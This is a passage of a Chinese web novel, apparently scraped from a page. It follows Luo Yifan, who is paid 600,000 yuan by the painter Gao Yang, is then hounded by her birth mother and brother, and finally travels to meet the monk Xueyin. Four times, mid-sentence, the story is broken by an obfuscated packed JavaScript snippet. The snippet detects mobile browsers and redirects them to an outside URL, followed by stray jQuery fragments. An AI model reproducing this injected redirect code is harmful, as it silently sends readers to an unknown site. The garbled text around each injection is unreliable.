骆一梵在心里翻了个大白眼,甚至都想替他爹扇他了。 “那你被退学后,您父亲没有把您栓树上打一顿吗?” 高老爷子一脸得意:“我父亲非但没有怪我,还带我沿着望屿来了一场环岛旅行。” “凭啥啊,我记得小时候我同学辍学了,她妈妈难受得啊!在床上整整躺了三天,什么也不管了,什么也不吃了。” “我父亲说,在十几岁的年纪,见山见水见海见世情 ,远比背书做题重要。” “被退学,别人没准都哭晕在厕所,你肯定高兴坏了,以后再也不用上学,可以玩一辈子。” 高老爷子笑道:“现在想想,初一就被退学,还真挺爽的。” “真不知道你们这些年轻人怎么一屁股就能做十几年冷板凳,任劳任怨读完初高中和大学。” 骆一梵哼了一声,心里早就如同小宇宙爆发了。 是啊,W h y? 比尔盖茨辍学成为世界首富,乔布斯退学了能创办苹果,明星九漏鱼能日入208万,高阳打架退学成了大艺术家…… 而我们千军万马高考过独木桥的老实人毕业后就只能当牛马? 天啊!为什么?为什么? “您父亲一定是个艺术家吧!” “算是吧,我父亲喜欢画画,我的国画就是他教出来的,只是,在艺术上他很不成功,一幅画也没卖出去,穷得要死。” 骆一梵皱眉,忍不住指桑骂槐:“高阳老师,俗话说,子不嫌母丑,狗不嫌家贫,好修狗怎么能嫌弃家里穷呢?” “我父亲真的很穷,那次环岛旅行,我父亲骑着他的那辆破自行车,没刹车没车筐,也就两块钱路费,他还像宝贝似的把那两块钱卷好,放裤头里。” “高阳,这么说就有点倒反天罡了啊!你爹都没嫌弃你数学考20几分,打架退学,你怎么反倒嫌弃起他了?”骆一梵在心里默默腹诽。 “那次环岛旅行没几天就遇到了台风,家家闭门不出,我们根本买不到饭,一连饿了几天,还要避着台风,当时真是又累又饿又冷。” “境遇一糟,人性就显露无疑,我对我父亲发脾气,没钱就别学有钱人搞什么环岛旅行,人家坐汽车里,风吹不着日头晒不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579583|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人家环岛是玩,咱环岛是玩命。” “你父亲听了一定很难过吧。”骆一梵边说边在心里告诫自己,要是自己以后生的孩子是这种货色,一定一定要把他掐死。 “我父亲没说话,只是到处去拍门给我找吃的了,算是要饭吧,好不容易要到的一个饭团,也都给我吃了。” “你还真吃啊?我以为您至少会先装谦让一下。” “你不了解我父亲,在以前打仗逃难的时候,我爷爷讨到饭了就先给我父亲吃,后来他结婚生了我,有什么好的也都会先尽着我。” “大师,您真是亲生的吗?怎么一点也不像您父亲啊?” “正是见过我父亲努力一辈子依旧穷困潦倒,靠借米度日的生活,我从小就下定决心,绝对不能成为第二个他。” 骆一梵也在心里告诫自己,以后结婚生小孩,绝对不能生像高阳这样的白眼狼,哪怕这小孩再成功再有钱也不要。 “然后呢?您就成了大艺术家,赚得盆满钵满?” 高阳叹了口气,“然后,我就遭了报应,我生的孩子比我更狠,更毒,他们斗来斗去,只想独吞我的家产,榨干我的价值。” 这,也算是求仁得仁,报应不爽了。 “我给了他们锦衣玉食般的生活,可他们从来不知足,挥金如土,穷奢极欲,这辈子干的唯一一件勤劳事就是想方设法从我手里拿钱。” “所以,努力工作有啥用,不如会投胎。”骆一梵若有所思道。 “二十多年前,我被那几个不孝子气得夜里吐血,几个孩子却没一个管我,那时,我才知道,他们巴不得我死了。” “是啊,大艺术家一旦去世,生前作品的价钱马上就能翻几倍,对他们来说,不仅不用给您养老送终,你死了他们反而能身家上涨。” “可若是他们不救您,您又是怎么活下来的?” “我父亲把我送医院的,那年他已经八十有七了,走路都颤颤巍巍的,手也一直乱哆嗦,可就是这样一副身子骨,照顾吐血的我,打急救电话,一步一喘地把我送上救护车。” “在病房里,我父亲拉着我的手,说,‘别怕,还有爹在呢!''。没想到我高阳风光一世,到头来,唯一能指望的竟只有一个快九十岁的老父亲。” “是啊,可这一切怨谁啊?”骆一梵明知故问。 高阳老先生望着海面,不说话。 骆一梵瞧瞧问道:“大师,您之前说的那个遗物委托单,还算数吗?” “自然是算的。” “好的,我答应了。我们赶紧去签约吧!” “钱现在就可以打给你,我打个电话给蒋律师。” “啊这,活不是还没干吗?您就不怕我拿钱跑路了吗?” “没事,先打给你,老夫可不想这世上又多一个成日盼着我死的人,要是您没干好蒋律师自是有能力扣回来。” 不一会,骆一梵就收到了手机里发来的消息。 ……银行卡到账600,000.00元,……余额602,998.51元。 一时之间,卡里多了六十万,骆一梵一路心花怒放,连轮椅都推得飞快。 “骆姑娘,慢点慢点,我的痔疮都要被颠破了。” 5. 60万 自从卡里多了六十万,骆一梵是每天心跳加速,异常亢奋。 两天加起来总共就睡了四个小时。 睡不着,睡不着,一点也睡不着,到了第三天,骆一梵再也抗不住内心的煎熬了,果断地打开某宝,血洗购物车。 *** *** *** 骆一梵妈妈还没睡醒,就被一阵阵敲门声吵醒了。 “您好,陈如茜您订购的按摩椅到了,麻烦给个好评。” “陈如茜陈女士您好,您购买的“花开富贵”金项链已送达,请签收。” “有人在家吗?您购买的正冰种翡翠玉镯到了,贵重物品,请当面确认。” ………… ………… 骆一梵妈妈如临大敌,赶紧给女儿打起了电话:“喂,一梵啊,出什么事了,咱家门口怎么来了一堆送快递的?看样子都是挺贵的东西,还有这险那险的?” “哦,没事,妈,都是我买来孝敬你的。” “什么,你哪来那么多钱?你泄露国家机密给间谍啦?” “哪有,我连公司机密都不知道,妈,您放心,这些钱绝对干干净净,是我最近签了一个大单……” ………… 骆一梵妈妈在电话里一直念叨着,宝贝,别乱花钱,好不容易挣着钱先存起来,留着以后当嫁妆啥的。 妈妈半截身子都要埋黄土里了,你给妈妈买那么多金银珠宝真是浪费了…… 说得骆一梵耳朵都要起茧子了。等骆一梵挂了电话,点开朋友圈,发现妈妈已经开始炫富了。 图片中她戴着金项链,珍珠耳环,翡翠手镯极其优雅地躺在真皮按摩椅上,并配文“这个冬天有小棉袄,暖暖的”。 骆一梵噗得一声笑出来,忽然发现原来有钱了给妈妈买东西是这么开心啊,骆一梵,以后要更努力工作,多给妈妈买几条大金项链。 一连几天,骆一梵妈妈都假装在广场舞中‘不小心’露出她的金项链和翡翠手镯,不等人问,她就先自顾自地解释道: “我闺女买的,哎呦,都说了让她省着点钱花,结果这丫头一挣到钱就给我买首饰。” “还是小棉袄好,一梵知道我腰疼,还特意给我买了五六万的按摩椅,每天跳完广场舞我都要回去按上半个小时,你们说这人咋这么聪明,还能发明按摩椅这种好东西,比盲人技师还好……” 广场舞的那群姐妹嘴都撇到下巴里了,骆一梵妈妈还在不停地炫耀。 可令人奇怪的是,几天后,骆一梵妈妈居然不出来跳广场舞了,也不发朋友圈了,更不在群里聊天了。 “妈妈,最近您怎么不出门啊,我给你买的首饰你要戴出去好好炫给大家看,那群老阿姨,以前老笑您奋斗了大半辈子,连个像样的首饰都没得,现在好了,风水轮流转,您就应该当着她们的面贴脸开大。” “梵宝,你有这份心意妈妈就知足了,其他的妈妈不在意,重要的是你开开心心,健健康康,对了,最近诈骗啥的挺多,陌生电话别接,陌生微信别加……” 骆一梵感觉奇奇怪怪,妈妈怎么突然间深居简出了,难道最近报了什么old school,思想境界上升成 old money,讲究低调内敛? 很快,骆一梵就知道了为什么,她收到了一条长文短信。 短信上说她是领养的,她现在的妈妈陈如茜不是她的亲妈,她的亲妈是黄芳。 她的本名也不叫骆一梵,而是刘盈。 这,什么跟什么啊?骆一梵忍不住回拨了去。 “喂,你谁啊,瞎嚼什么乱舌根,实在是闲着没事的话就出去找个班上。” “盈盈,是你吗?我是你妈妈黄芳啊,你小时候最爱吃我烙的韭菜馍,你忘了吗?” “这世上我只有陈如茜一个妈妈,其他人爱给谁当妈给谁当妈,别来烦我。”说完,骆一梵就毫不留情地挂断电话,拉黑号码。 犹豫了半天,骆一梵忍不住给妈妈打了电话。 “梵宝,怎么这个时候给妈妈打电话啊,出什么事了吗?” “妈妈,你知道‘黄芳’是谁吗?” 电话那边传来哽咽声,骆一梵心里明白了个大概。 好一会儿,陈如茜才吞吞吐吐地说:“宝贝,其实,你,不是妈妈……亲生的……” “哦,这一点我早就知道。”骆一梵故作轻松,眼眶却早已湿了。 “你早就知道?怎么可能?是妈妈哪点做得不好?让你看出来了?” “没有,妈妈你是这个世界上最好的妈妈,可打小我就是知道我不是亲生的。” “什么时候的事?” “我爸去世后有一阵子,姥姥不是劝你趁着年轻早点改嫁吗?怕您以后无依无靠,老了还要去养老院受护工的气。” “你听到了?当时我还以为你睡着了。” “可你说了你不会改嫁,你抱着我,说我就是你的依靠。” “是啊,从始至终,梵宝都是我唯一的依靠。”一路走来,太多伤心往事,陈如茜早已泪眼婆娑。 “可是,妈妈,我本来就是您的女儿啊,我本来就是您的依靠,为什么您要特意向姥姥强调我是您的依靠?所以,从那时起,我就隐隐约约知道我可能不是亲生的。” “梵宝,我的傻孩子,你怎么把这件事藏心里这么多年!该多难受啊!” “还好啦,妈妈对我很好,在我心里妈妈就是我唯一的妈妈。只不过,我一直都以为我的生父母早都死了,您和爸爸收养了我。” 骆一梵停了一下,呼了一口气,笑着缓缓道:“我从来都没想过他们还活着,因为这些年里也没人来找过我,我想,他们要是活着的话,至少也会在我放学时看看我,在我上大学时送送我,或者偶尔请我去他们家吃一顿饭吧!” “可是,妈妈,什么都没有,一个人也没有,但是当我卡里多了六十万后,他们却想方设法找过来了,妈妈,我现在宁愿我的亲生父母早就死了。” 骆一梵哭了,陈如茜也哭了,母女两人在电话里撕心裂肺地痛哭着,将这些年的苦衷,哀怨,压抑,秘密,委屈,一股脑地全都哭出来。 从妈妈口中,骆一梵知道了事情的全部真相。 骆一梵的亲生母亲叫黄芳,她在亲生父母家里养到了两岁,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579584|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来生母怀了二胎,超生了,就把她送人了。 最开始,骆一梵被送到了乡下的一户农家里,没多久,那户农家有了自己的孩子,也把她送走了。 兜兜转转,骆一梵遇到了陈如茜,一见面,陈如茜就特别喜欢这个孩子。 有好心人攒了个局,在福利院办了个生日宴,骆一梵和一堆等待被领养的孩子都在那里。 来来往往的社会人士很多,对每个孩子精挑细选。 陈如茜的丈夫体弱多病,可她们夫妻也想有个孩子,所以陈如茜也在那里呆了很久。 陈如茜发现,每个小孩子都有漂亮小裙子穿,只有骆一梵没有。 每个小孩子面前都有玩偶小娃娃,零食,只有骆一梵没有。 她忍不住去找院长,问问为什么? 院长说,其他的小孩子虽然被送到这里来,但是她们的家人多多少少还是关心她们的。 就比如说那个拿着芭比娃娃的小朋友,她爷爷经常偷偷来看她,神不知鬼不觉地往她那小书包里塞钱。 那个穿着漂亮裙子的小姑娘,她爸爸据说是坐牢了,妈妈跑南方打工了,但是逢年过节还是会给她寄很多衣服。 很多家长把孩子送过来了,可是吃的,穿的都是不断的,更是时不时在栅栏外偷偷来看她们过得好不好。 只有刘盈,她家里人从来都不管不顾,也不知道是怎么了? 就这样,陈如茜把刘盈接回去了,改了名字,含辛茹苦地养大了。 “妈妈,你是不是可怜我,才把我接回去的?”骆一梵哭着问道。 “哪有,妈妈看你第一眼就觉得你很有佛缘,明明就穿了一件尿不湿,也没玩具和小零食,就坐那一直咯咯笑,真像个小弥勒佛,可爱的,也不知道你小时候天天在傻笑什么?” “原来我从小就是个没心没肺的人。” “你现在长大了,懂事了,要是想认祖归宗,妈妈绝不拦着,妈妈就是希望你以后到那个家,别忘了妈妈,偶尔回来看看妈妈,好吗?” “妈妈,你又多想了,我只有一个家,就是和你一起住的那个家,其它的,我不认。” 陈如茜没有说话,只是在电话那头一直哭。 听着母亲的哭声,骆一梵心痛如绞,她当即买了最早一班次的高铁票。 她要赶紧回家,赶紧给妈妈一个大大的拥抱。 *** *** *** 一到家,骆一梵就发现不对劲了。 家里,这是遭贼了??? 值钱的东西都没了,不值钱的东西都被砸了,就连电饭锅都扁了。 光天化日,朗朗乾坤,是那个混蛋吃了熊心豹子胆??? 骆一梵正要打电话报警,就被妈妈拦了下来。 “一梵,别报警,是你亲生母亲和你亲弟弟,他们要你的联系方式和地址,我没给,结果他们一气之下,就把家给砸了。” “一气之下?我看他们挺冷静的啊,家里的金项链,玉镯,按摩椅,电脑,iPad,这些他们怎么不砸,怎么知道要带走啊?” 骆一梵气得脸通红,一定要打电话报警。 6. 认亲 在警察局门口,骆一梵又一次见到了自己的亲生母亲和同胞弟弟。 一见到骆一梵,黄芳就立马扑了上去,“我的女儿啊,这么多年我总算是见到你了。” 黄芳直接抱着骆一梵哭了半个多小时。 骆一梵的大脑一片空白,脑袋嗡嗡的,原本想说的话半天也没说出来。 (我们真的有血缘关系吗?为什么我感觉很陌生,为什么我们一点也不像。) 本意是想告他们入室抢劫,可他们却一把眼泪一把鼻涕地向警察哭诉,似乎比骆一梵还要委屈。 黄芳一手拉着警察,一手死死拽着着骆一梵: “警察同志,你看看,我亲闺女不认我这个娘唉,她爸爸还瘫在床上,家里没钱给孩他爸做手术,盈盈现在挣着钱了居然一点也不管她爸,眼睁睁看着她爸等死啊!” 黄芳泪流满面,哭得警察都有所动容了。 骆一梵见势不妙,忍不住爆粗口:“阿西八,明明是你们先把我丢了,等我好不容易赚到钱了就马上来吸我的血,王八蛋,你们脸皮比城墙还厚。” “我们早就后悔了,一直想把你接回来,但是家里穷,你爸爸前几年又得了脑梗,需要人照顾,我对不起你,可是你爸爸现在真的需要钱治病啊,他的脑梗手术已经拖了好几年了。” “我呸,对不起要是有用的话,那还要警察来干什么?说一千道一万,还不是想找我要钱。” 旁边的警察听了,立马严肃道:“骆一梵,请注意你的措辞。这是警察局,不是菜市场。” 骆一梵根本无法控制情绪:“别演了,我没钱,你们抢我妈妈的项链和玉镯也赶紧还回来,那不是你们的东西。” 没曾想,一说完,黄芳直接就给骆一梵跪下来:“盈盈,求求你,你行行好吧,救救你爸,我跪下来给你磕头了。” 警察见状赶紧拦着黄芳:“黄阿姨,你快起来吧。认亲不是一时的事,你要给骆同志一点时间接受。” 黄芳依旧跪在地上苦苦哀求,骆一梵气得浑身颤抖。 “警察同志,他们刚刚砸了我的家,把我家里所有值钱的东西都抢走了,有监控有人证,这你们不管,反而要让我们认亲。” “不管怎么说,这算不了入室抢劫,黄女士毕竟是你亲生母亲,这只能算是家庭纠纷,骆同志,天大地大生恩大,再怎么说,她也是十月怀胎辛辛苦苦把你生下来了,你要尊重你的母亲。” “是啊,那个时候大家都吃不饱饭,你妈妈把你送出去也是没办法,况且,你现在不也活得好好的。” “血浓于水,再怎么说都是母女一场,打断骨头连着筋,你这么对你亲妈,你以后老了会后悔的!” “在外面挣着几个臭钱就不知道自己几斤几两了,连亲妈都不认了。” 围观的人七嘴八舌地议论道,自以为站在了悲悯的制高点。 骆一梵猛然意识道,在场的所有人的天平都悄然倾斜在黄芳那里,不是黄芳的演技好,而是没有人觉得母亲会不爱孩子。 是啊,母亲怎么会不爱孩子呢?有妈的孩子是个宝,没妈的孩子是根草。 在场的,办公的,执勤的,看热闹的,拍视频的……,每一个能站在这里,都有父母的辛勤托举…… 不被爱的,被抛弃的孩子,在福利院,在社会底层,在臭烘烘的下水道,像老鼠一样东躲西藏,苟延残喘,不见天日。 甚至很多像自己这样的女婴,生命还未开始就已经走向了结束。 何不食肉糜? 何以母亲不爱孩子? 骆一梵感觉头晕目眩,既然弱者注定掌握不了话语权,就只能以暴治暴。 她给高阳老先生打了个电话,请求他的帮助。 她想问,面对有血缘关系的人死缠烂打,该怎么对付? 高阳接过电话,只是微微一笑:“六十万就能有机会看透家人的心,骆一梵,你赚大了。” “呸呸呸,简直就是潘多拉的魔盒,我妈被气病了,黄芳和她儿子天天缠着我和我妈闹,要钱。” “骆姑娘,面对至亲,如何出手,你且看好了,老夫只教一遍。” “怎么?你还挺有经验?” “对付他们,老夫还是绰绰有余,不外乎是打几个电话的事。” 没一会儿,骆一梵就见到了翻天覆地的变化。 几分钟前还是像菜市场一样闹哄哄的警察局门口,忽然开始戒严了。 该调查的调查,该取证的取证,该挨训的挨训,看热闹指指点点的全都被哄走了。 很快,一辆救护车疾驰而来,下来一批人,不由分说地将黄芳母子拽进了医院。 市三家医院一路绿灯,彷佛早就有备而来,不到半个小时,就给黄芳母子开出了一长串的精神疾病诊断证明。 严重精神分裂,双相情感障碍(躁狂发作期) ,偏执型人格障碍及妄想性障碍 …… 精神科主任亲自到警局建议,黄芳母子有严重危害社会的倾向,需要严加看管。 “可这,看着挺像个正常人啊!专家同志,这鉴定没问题吧!” “正常人能把自己的亲女儿一丢丢几十年吗?能去砸自己亲女儿的养母家,能大闹警察局?你看看,这明显是病情一步步恶化,下一步,怕是要杀人放火,恶意报复社会了。请你们一定要尽早干预。” “是是是,我们一定严加监督。” 彷佛无形的大手隐隐操控,律师将黄芳母子接走了,又连夜将他们送往市精神病医院,严加看护。 “我们没病,没病,放我们出去!” “冤枉啊,冤枉啊,我们就只是想要钱,没想过要害人。” 市精神病医院彻夜响着哀嚎声,无人在意。 “安定的剂量要加大。下次再吵就得上电击。”医生给骆一梵回复。 骆一梵想了想,毕竟那个所谓的“亲爸”还在床上瘫着,再关下去也不是个事,且她的心一向不够狠,犹豫了一会,就给医生发消息说放了她们吧! “实在不好意思,给你们添麻烦了!” “您客气了,骆小姐,院长特意交待过,您吩咐的任何事都要尽全力做到,况且,这些都是举手之劳,不值一提。” 第二天,黄芳母子趁医生不注意,“逃”出了精神病院。 前脚刚走,后脚医生就坐在办公室一边喝着咖啡,一边给警察打电话。 “黄芳母子袭医,逃出了医院,抱歉,我们医院庙小,收不了这样的人物。”医生冷冷道。 “什么,那你们没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579585|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!需不需要立案啊!” “那倒不必,这年头医患关系一触即溃,这点哑巴亏,我们医生自己也吃习惯了,还是烦请警察同志多留意。” “应该的,应该的,我们领导也早就吩咐过了。” “哦,”医生一挑眉,“看来不需我多言了。” 挂了电话,一旁的护士不解:“黄芳已经跑了,为什么要特意给警察打电话?” “骆小姐太心软了,放虎归山,我怕后患无穷。不过是我多虑了,骆小姐的背景比我想象得还要大得多。” 护士不敢多问,出去换药了。 黄芳母子刚逃出精神病院,马不停蹄地赶回了家。 一时间惊魂未定,草木皆兵,不敢再出门了。 一连几天待在家里,肉菜都吃尽了,傍晚,黄芳悄悄出门买菜。 正欲讲讲价,刚一抬手指着菜贩,还没骂出口,突然间冒出十几个壮汉将黄芳死死按住。 “黄芳,你到底要干什么?” “检查一下她有没有带什么违禁刀具!” “我要买菜,不不不,我不买了,我现在就回家。”黄芳吓得赶紧回家了。 一回到家,黄芳开始觉得那十几个大汉有点眼熟,仿佛在哪见过。 突然间,她全都想起来了,那十几个人是便衣,她在警察局门口都见过。 她这才意识到自己得罪了多大的人物,心里后怕无穷,赶紧让儿子收拾东西,连夜跑,有多远跑多远,别再回来了。 “妈,你不走吗?” “你爸还瘫着,妈走不了,你好好照顾自己。” 黄芳儿子刘宇不敢买火车票,只得偷偷借邻居的身份证买了长途客车票,天不亮,二人就在车站外面悄悄等着了。 骆一梵接到消息,想了想,也赶往客运车站。 *** *** *** 儿子要走了,黄芳看着似乎不太高兴,一脸严肃。 上车前,黄芳将金项链,翡翠玉镯,电脑,平板,一股脑地放儿子背包里,仔细拉好拉链。 边放边叮嘱:“儿,听话,这些钱别乱花,到外面省着点用。” 车开始发动了,一开始外面陆陆续续还有人等着上车,所以车开得很慢。 黄芳也在后面慢慢跟着那辆长途客车。 儿子见此,立马打开车窗:“妈,你回吧,爸还在家里等着你呢!” 黄芳依旧跟着车后面一路小跑。 儿子在车窗外摆摆手,回头嚷着:“司机,开快点啊,妈,你也快回啊!天气这么冷,别在这冻着了。” 车越开越快,黄芳实在是追不上了,她赶紧挥挥手臂。 “儿啊,记得多给妈打电话,到了在手机上告诉妈一声。” “小宇,别怕花钱,别饿着,照顾好自己。” ………… 再后来的事,骆一梵就看不清了,不知道是因为距离太远,还是眼泪模糊了。 一边流着眼泪,一边苦笑道: “原来,那个女人不是个狠女人。” 原来,她也会舍不得孩子,也会把所有值钱的东西都拿给孩子,也会在孩子出远门的时候,在凌晨的风雪中送行…… 只可惜,这个孩子,从来都不会是自己。 7. 雪吟 回到S城后,骆一梵就收到了一份委托单。 照例她又翻到最后一页,一看: 委托费:35元 …… 委托人地址:香江九华寺 骆一梵两眼一黑,拿起手机打电话正要拒绝,谁曾想,接电话的是高阳老先生。 “小骆,收到了我的委托单了吗?” 骆一梵不敢置信,又对比了一下单子上的联系电话,“您是……高阳大师?” “是我是我,这是我助理的手机号,那个单子是我帮雪吟写的,这样吧,下午有没有空,咱们去华懋饭店吃个饭,把这件事细说一下吧。” 华懋饭店? 这就是传说中的让普通人自卑,让暴发户肉疼,让王家卫墨迹三年的魔都黑洞。 为了避免自己成为下一个刘姥姥,被大观园里的人笑话,骆一梵在打车前做足了攻略。 一到华懋饭店门口,骆一梵发现这里的每一个人都死装死装的。 饭店装得跟卢浮宫一样,服务员装得像尚宫娘娘,客人装得像比尔盖茨,张口闭口英格利希…… 至于骆一梵,她倒是一点也不装,穿着公司的廉价“黑西装,黑西裤”工衣就直接杀过来了。 然后,她就被保安拦在了门外。 “您好,女士,这里是高档酒店,谢绝一切保险推销和业务销售。” “胡说,我书卷气那么重,哪里像卖保险的?我明明是搞殡葬的。” 不亮身份还好,一亮身份更进不去了。 无奈之下,骆一梵只能让高阳大师亲自下来把她领进去。 刚到电梯口,骆一梵准备摁电梯,就被高阳拦了下来,指了指对面那个电梯。 “大师,那个电梯不是只有高级政要才能进吗?咱普通人应该进这个。” “进那个,那个隐秘性好。” “可是,一天被拦住两次的话,很尴尬唉!” “小骆,放心吧,我和他们老板认识的时候他还是个横冲直撞的毛头小子呢!哪怕他现在跪在我面前,给我磕个头,我也受得起。” “大师,有您这句话我就放心了,走,咱赶紧去点餐。” 第一次到这么豪华的酒店吃饭,骆一梵一下子吃了一盘蟹粉豆腐,一只烤鸭,一打鲍鱼,帝王蟹的六只蟹腿,一盘水晶虾饺,一碟红烧肉。 吃到最后,骆一梵撑得都站不起来了,揉着肚子听高阳老爷子说事。 原来,那个遗物委托单是高阳的故友雪吟拖他办的。 雪吟今年91岁了,独居多年,身边只有一只柴犬,自知自己时日无多,唯一怕的就是自己走后小柴无人照顾。 听高阳说S城有人干【遗物守护师】这行,就想把小柴托付给守护师。 “狗在香江狮子山,离S城有几千里,万一飞机不让宠物托运怎么办?” “无所谓,我自会包机。” 骆一梵挑了挑眉,华懋饭店,包机,合着忙活半天,搞这么隆重就是为了接一条狗回S城养老? 这年头,权贵的狗过的日子都比人过得舒坦! 到底谁是狗,谁是真牛马? 骆一梵忍住了吐槽,但是没忍住打了一个大饱嗝,点点头,示意认下了这门差事。 (养条狗挺好的,以后就放公司,我要训练它咬死老板。) 紧接着,高阳却说:“接狗只是名义上,小骆,我这还有一个秘密任务要交给你。” 骆一梵洗耳恭听,听了半天,一撇嘴,就这??? 骆一梵想了想,计上心来:“大师,既然咱们要明修栈道,暗度陈仓,倒不如明面上就一份35元的委托单,画的事咱偷偷再起草一份委托单,不经过公司,价钱另算?” “阴阳合同,你这丫头心眼什么时候变了,老夫居然没看出来。”高老爷子取笑道:“好,成交,此事天知地知,你知我知钱知。” “关于那批画的遗物守护,您看看,该是个什么价位?” “一百万,守五十年。五十年后,你要把那批画悉数捐给美术馆。” 一百万,骆一梵的嘴嘬成了O型,心里狂喜。 “成交,我一定好好守护那批画,人在画在,人亡画还在。” 突然,高阳仔细瞅了瞅骆一梵,试探道:“不过,小骆,五十年后你,你真的还活着吗?” “你们这些年轻人天天又是熬夜又是吃垃圾食品,怎么看都是英年早逝的料啊?” 能不能活到五十年后,这还真是一个值得思考的问题,骆一梵陷入了沉思。 “大师,您说到哪里去了!我要是天天当牛马上班挣苦钱,别说五十年了,等我到三十岁不猝死就自求多福了。” 随机话锋一转,“但是呢,我要是有钱的话,别说五十年,七十年我都能活着,有钱,我想上班就上班,想辞职就辞职,想旅游就旅游,有病就治,我保准能长命百岁。” “所以,大师,活着到最后还是看钱,你那一百万直接打我卡里,就是我的长生不老药。” 高阳点了点头,不再有所顾虑,让助理赶来,把合同拟好。 助理屁股还没坐热,窗外突然飘起了雪花,高阳立马吩咐助理订机票,直接启程去香江。 这么突然的吗?大师,我还没收拾行李! 高阳给了骆一梵一张卡,说道:“带什么行李,去哪带张卡,带个手机不就够了,年轻人,现在是信息时代,你怎么比老夫还古板。” 去机场的路上,助理问道,这场大雪导致很多飞机停飞了,能飞的只剩经济舱了,还要订吗? “无所谓,大雪纷飞,乘兴而来,风雪无阻。” 突然,高阳像是想到了什么,又让助理去买本书带着。 就这样,三人坐在了飞机客舱里。 骆一梵在飞机起飞前赶紧下好了几部爆米花电影,正欲观看,就看着左边的高阳大师翻起书来了。 一时间,看电影的兴致都没了。 (就四个小时行程,我想着看电影,大师想着看书,难怪人家成了权贵,我当了牛马!!!) 助理小哥看出来骆一梵心事,给她发微信蛐蛐。 “骆小姐,您别见怪,老爷子是装的,他平时根本就不看书。” “可他看得还挺认真的。” “认真啥啊!出来匆忙,老花镜都没带,他现在是一个字都看不清。” 骆一梵憋住笑,就这么看着高老爷子一装就装四个小时,心中无比佩服。 飞机上其他人陆陆续续认出了高阳大师,纷纷找他合影,还不免感叹,国画大师,文人风骨。 一出机场,就感觉温度骤升十几度。三人迅速把羽绒服脱下,拿在手上。 顾不上吃饭,高阳直接让助理叫车奔赴九华寺了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579586|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > (还好我中午吃得多,到现在都不饿!骆一梵有点幸灾乐祸。) 住持亲自在寺外迎接,一众弟子跟在后面。骆一梵心中暗自诧异,怎么没看到雪吟奶奶啊? 难道是急着来见老相好,不让外人知道? “高老,您是来找画痴的吗?” “正是。”高阳双手合十,向住持致意。 “老衲已吩咐弟子前去寻了,舟车劳顿,高老还请移步禅房稍作歇息。” 两人一阵商业互吹后,骆一梵终于跟着高阳到了茶室喝上了口热茶。 茶可还行? (别问,中午吃太咸了,渴死老娘了!) 骆一梵咕噜咕噜喝茶,高阳也等人等得有点急了,就拿起手机开始刷短视频。 一边刷短视频,一边抽雪茄,时不时喝几口山泉水煮的热茶,这一系列操作,给骆一梵看得是目瞪口呆。 “大师,这里可是佛门重地,能,抽烟吗?”骆一梵忍不住问道。 “高先生每年给九华寺捐五百万,供养三宝。”助理小声道。 骆一梵被惊得嘴巴都合不上了,好半天,缓缓地双手合十,喃喃:“阿弥陀佛,阿弥陀佛。” (卧槽,我佛只渡有钱人,原来我们这些普通人才是小丑。) 高阳继续大口抽着烟,心中似有烦闷。 水喝多了,骆一梵出门上厕所,远远瞧见一个瘦巴巴的老头像个竹竿似的挂在卫生间门口。 “老师父,您在这干什么?” “我在这掉了一块钱,不知道那个钢镚滚哪去了,姑娘,你能帮我找一找吗?” 骆一梵本想直接走开,可一看这老和尚瘦骨嶙峋的样子,满脸褶皱,牙齿都没剩几颗,心里感觉被针刺了一下。 人怎么能干瘦成这样,太可怜了。 (如果当年妈妈没有领养我,没准我也像这位老和尚一样皮包骨,一口烂牙吧!) 骆一梵于心不忍,打开手机闪光灯,忙活半天,帮老和尚找到了那一块钱。 “对了,老师傅,您今天见过雪吟奶奶了吗?” 老和尚一怔,“我就是雪吟。” 骆一梵尴尬地捂住了嘴,低头找地缝。 (什么,雪吟居然是男的,我还以为是高老爷子藏在寺庙里的老相好,完了完了,在正主面前贴脸开大了!) 老和尚倒是率先打破了僵局,“见笑了,姑娘,我这名字听起来确实像女子的名字,所以寺里的人都不叫我雪吟,只叫我画痴。” 